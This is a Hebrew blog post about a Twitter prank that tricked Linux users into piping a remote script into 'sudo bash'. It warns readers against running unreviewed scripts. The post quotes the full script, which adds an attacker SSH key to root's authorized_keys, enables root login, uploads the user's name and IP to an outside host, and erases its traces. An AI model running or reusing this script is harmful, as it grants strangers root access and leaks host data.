יצירת בוטנט ללא צורך בידע טכני

ציוץ אחד, זה מה שמשתמש אחד בטוויטר היה צריך בשביל לגרום למשתמשים להריץ קוד במחשבים שלהם
quad avatar

הרבה פעמים כשאנחנו שומעים על פריצות, האקינג וכמובן ״סייבר״, אנחנו חושבים בעיקר על מומחי מחשבים העשויים ללא חת שיושבים ימים ושבועות ומייצרים תוכנות מחשב מורכבות ומתוחכמות. המציאות היא שעולם ההאקינג ניזון בעיקר מטמטום של משתמשים (לעתים גם משתמשים בכירים) ופאשלות תכנותיות מביכות.

דוגמה נהדרת לטמטום של מנהלי מערכות אפשר למצוא בציוץ של משתמש טוויטר בשם Quad, כל מה שהמשתמש עשה זה להשתמש במשפט הנפוץ Trust me, it’s super fun! המשפט הזה, שהפך למים פופולרי ברשת הוא משפט שגיקים ומתכנתים משתמשים בו באופן תכוף כדי לתאר פעולה טכנית שכדאי לעשות אותה ללא צורך בהסבר נרחב. Quad ביקש מהמשתמשים שלו בציוץ הבא להריץ פקודה מסוימת על גבי הלינוקס שלהם:

צילום מסך מתוך @Kuwaddo
צילום מסך מתוך @Kuwaddo

הפקודה הזו היא פשוטה למדי:

curl https://file.quad.moe/amazing-script.sh | sudo bash

מה היא עושה? זו פקודה בעלת שני חלקים שמופרדת על ידי התו ״|״ (שנקרא בשם pipe). חלקה הראשון שואב סקריפט מהכתובת https://file.quad.moe/amazing-script.sh. חלקה השני מריץ את הסקריפט בהרשאות אדמין מלאה.

מה הסקריפט עושה?

if [ ! -d /root/.ssh ]; then
  mkdir -p /root/.ssh;
fi
curl https://file.quad.moe/lmao.pub >> /root/.ssh/authorized_keys
echo permitRootLogin yes >> /etc/ssh/sshd_config
echo $USER - $HOME > /tmp/hackme.txt
curl https://ifconfig.me >> /tmp/hackme.txt
curl -F "file=@/tmp/hackme.txt" https://file.quad.moe/
rm -rf /tmp/hackme.txt

מדובר בסקריפט סופר פשוט ששותל מפתח כניסה (במקרה הזה של המשתמש Kuwaddo) עם הרשאות מלאות ושולח את פרטי המחשב וה-IP שלו אל קובץ טקסט שבשליטתו של Quad ומוחק את העדויות. סקריפט פשוט שבפשוטים וכל אחד עם ידע טכני מינימלי יכול להבין שמדובר פה בסקריפט שבפועל יכול לקבל שליטה על המחשב/שרת בכל רגע נתון.

Quad כמובן הציב את זה בתור בדיחת גיקים חביבה ובתחילה היא הופצה ככזו. מה שהוא לא צפה זה את הטמטום של מאות משתמשים שקראו את הציוץ והריצו את הפקודה על גבי השרתים והמחשבים שלהם ובכך איפשרו בעצם ל-Quad לקבל עליהם שליטה מלאה בכל רגע נתון. מה משתמש יכול לעשות ברשת של מאות או אפילו אלפי מחשבים? למשל להריץ סקריפט כריה של מטבע קריפטוגרפי, לבצע התקפת DDOS (התקפה מבוזרת שנועדה להפיל שרתים) ונזקים נוספים. רשת כזו של מחשבים בשליטת גורם יחיד שאינו הבעלים שלהם נקראת ׳בוטנט׳. בוט מלשון רובוט ו׳נט׳ מלשון רשת. רשת של רובוטים שהיא בעלת כוח חישוב אדיר ולכל אחד מהם יש IP משלו (במיוחד IP אירופי או אמריקאי) היא רכוש כלכלי רב ערך.

Quad המבועת כמובן שלא התכוון ליצור רשת בוטנט, הוא הוריד את הסקריפט ואת הציוץ המקורי וצייץ על כך, ציוץ שהפך לויראלי:

טוויטר גם השעתה את החשבון המקורי שלו והוא נאלץ לפתוח חשבון אחר בשם Kuwaddo.

זו דוגמה נהדרת ל׳הנדסה חברתית׳, שימוש בחולשות אנוש על מנת לבצע האקינג מוצלח. במקרה הזה, הטמטום של המשתמשים, שאמורים להיות מתוחכמים כיוון שהם משתמשי לינוקס/מק, היה אדיר. וזו הזדמנות מעולה לציין את המובן מאליו: לעולם לעולם לעולם אל תריצו סקריפטים שאתם לא הסתכלתם עליהם ישירות מהרשת. גם אם משתמש אנונימי עם אוואטאר אנימה מדליק אמר שכדאי לסמוך עליו בנושא.

אם אתם רואים wget או curl – זה אומר שהפקודה הזו מביאה משאב כלשהו מהרשת. אם אתם רואים sudo, סימן שאתם נותנים הרשאות אדמין למה שאתם מריצים.

פוסטים נוספים שכדאי לקרוא

DALL·E 2024-09-06 12.34.24 - A visually engaging post about Python and cryptographic problems. The image should feature a dark-themed background with a glowing, futuristic Python
פתרונות ומאמרים על פיתוח אינטרנט

בעיות במימוש של פונקציות קריפטוגרפיות בפייתון

היום (16 לספטמבר) ממש, אני מעביר הרצאה ב-PyconIL 2024 על בעיות קריפטוגרפיות באפליקציות פייתון. לצערי אי אפשר להכניס את כל הבעיות הקריפטוגרפיות להרצאה אחת או

גלילה לראש העמוד